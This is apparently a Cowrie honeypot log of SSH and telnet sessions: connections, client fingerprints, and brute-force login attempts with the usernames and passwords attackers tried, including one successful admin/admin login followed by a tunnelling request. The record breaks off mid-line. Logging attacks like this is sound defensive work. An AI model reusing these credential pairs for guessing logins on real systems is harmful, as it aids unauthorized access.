{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:46.758246Z","src_ip":"159.203.92.129","session":"940a52f051e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"YanBin","password":"YanBin","message":"login attempt [YanBin/YanBin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:46.771656Z","src_ip":"159.203.92.129","session":"940a52f051e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.253.68.42","src_port":49342,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3bbfa87abab","protocol":"telnet","message":"New connection: 103.253.68.42:49342 (159.203.135.109:23) [session: d3bbfa87abab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:47.424752Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:47.514892Z","src_ip":"31.59.89.180","session":"02c864758a47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":59066,"dst_ip":"159.203.135.109","dst_port":22,"session":"615931b06b98","protocol":"ssh","message":"New connection: 221.139.88.149:59066 (159.203.135.109:22) [session: 615931b06b98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:47.579406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:47.585133Z","src_ip":"221.139.88.149","session":"615931b06b98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:47.778771Z","src_ip":"159.203.92.129","session":"940a52f051e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:47.798989Z","src_ip":"221.139.88.149","session":"615931b06b98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin...","message":"login attempt [root/admin...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:48.696834Z","src_ip":"221.139.88.149","session":"615931b06b98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":58238,"dst_ip":"10.17.0.5","dst_port":22,"session":"031ac259e7c6","protocol":"ssh","message":"New connection: 87.251.64.176:58238 (10.17.0.5:22) [session: 031ac259e7c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:48.839153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:48.843559Z","src_ip":"87.251.64.176","session":"031ac259e7c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:48.939725Z","src_ip":"87.251.64.176","session":"031ac259e7c6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:49.227323Z","src_ip":"87.251.64.176","session":"031ac259e7c6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:49.328212Z","session":"031ac259e7c6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:49.424454Z","src_ip":"87.251.64.176","session":"031ac259e7c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:49.521913Z","src_ip":"87.251.64.176","session":"031ac259e7c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:49.940197Z","src_ip":"221.139.88.149","session":"615931b06b98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.216.119.134","src_port":55098,"dst_ip":"10.17.0.5","dst_port":22,"session":"056fba90c290","protocol":"ssh","message":"New connection: 185.216.119.134:55098 (10.17.0.5:22) [session: 056fba90c290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:52.966096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:52.970840Z","src_ip":"185.216.119.134","session":"056fba90c290","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:53.653425Z","src_ip":"185.216.119.134","session":"056fba90c290","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QwEr!2#4","message":"login attempt [root/QwEr!2#4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:55.348369Z","src_ip":"185.216.119.134","session":"056fba90c290","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:56.571865Z","src_ip":"185.216.119.134","session":"056fba90c290","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.149.53.243","src_port":7754,"dst_ip":"10.17.0.5","dst_port":22,"session":"436f20326d56","protocol":"ssh","message":"New connection: 201.149.53.243:7754 (10.17.0.5:22) [session: 436f20326d56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:36:18.184387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:36:18.189555Z","src_ip":"201.149.53.243","session":"436f20326d56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:36:18.258303Z","src_ip":"201.149.53.243","session":"436f20326d56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"1qaz@WSX","message":"login attempt [odoo/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:36:18.559309Z","src_ip":"201.149.53.243","session":"436f20326d56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.995447874069214,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:36:19.420089Z","src_ip":"103.253.68.42","session":"d3bbfa87abab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:36:19.628572Z","src_ip":"201.149.53.243","session":"436f20326d56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":36784,"dst_ip":"159.203.135.109","dst_port":22,"session":"cacb4bb45191","protocol":"ssh","message":"New connection: 31.59.89.180:36784 (159.203.135.109:22) [session: cacb4bb45191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:36:29.107888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:36:29.114235Z","src_ip":"31.59.89.180","session":"cacb4bb45191","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44218,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed2b685591da","protocol":"ssh","message":"New connection: 159.203.92.129:44218 (159.203.135.109:22) [session: ed2b685591da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:36:29.199786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:36:29.204454Z","src_ip":"159.203.92.129","session":"ed2b685591da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:36:29.209083Z","src_ip":"159.203.92.129","session":"ed2b685591da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"YanBin","password":"YanBin123","message":"login attempt [YanBin/YanBin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:36:29.219197Z","src_ip":"159.203.92.129","session":"ed2b685591da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:36:29.223072Z","src_ip":"31.59.89.180","session":"cacb4bb45191","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wp-user","password":"1234","message":"login attempt [wp-user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:36:29.688334Z","src_ip":"31.59.89.180","session":"cacb4bb45191","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:36:30.225995Z","src_ip":"159.203.92.129","session":"ed2b685591da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:36:30.799865Z","src_ip":"31.59.89.180","session":"cacb4bb45191","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.241.222","src_port":60284,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c015cd2ac31","protocol":"telnet","message":"New connection: 149.56.241.222:60284 (159.203.135.109:23) [session: 7c015cd2ac31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:36:34.043780Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":46296,"dst_ip":"159.203.135.109","dst_port":22,"session":"446bff176b3f","protocol":"ssh","message":"New connection: 221.139.88.149:46296 (159.203.135.109:22) [session: 446bff176b3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:36:47.932353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:36:47.937587Z","src_ip":"221.139.88.149","session":"446bff176b3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-excha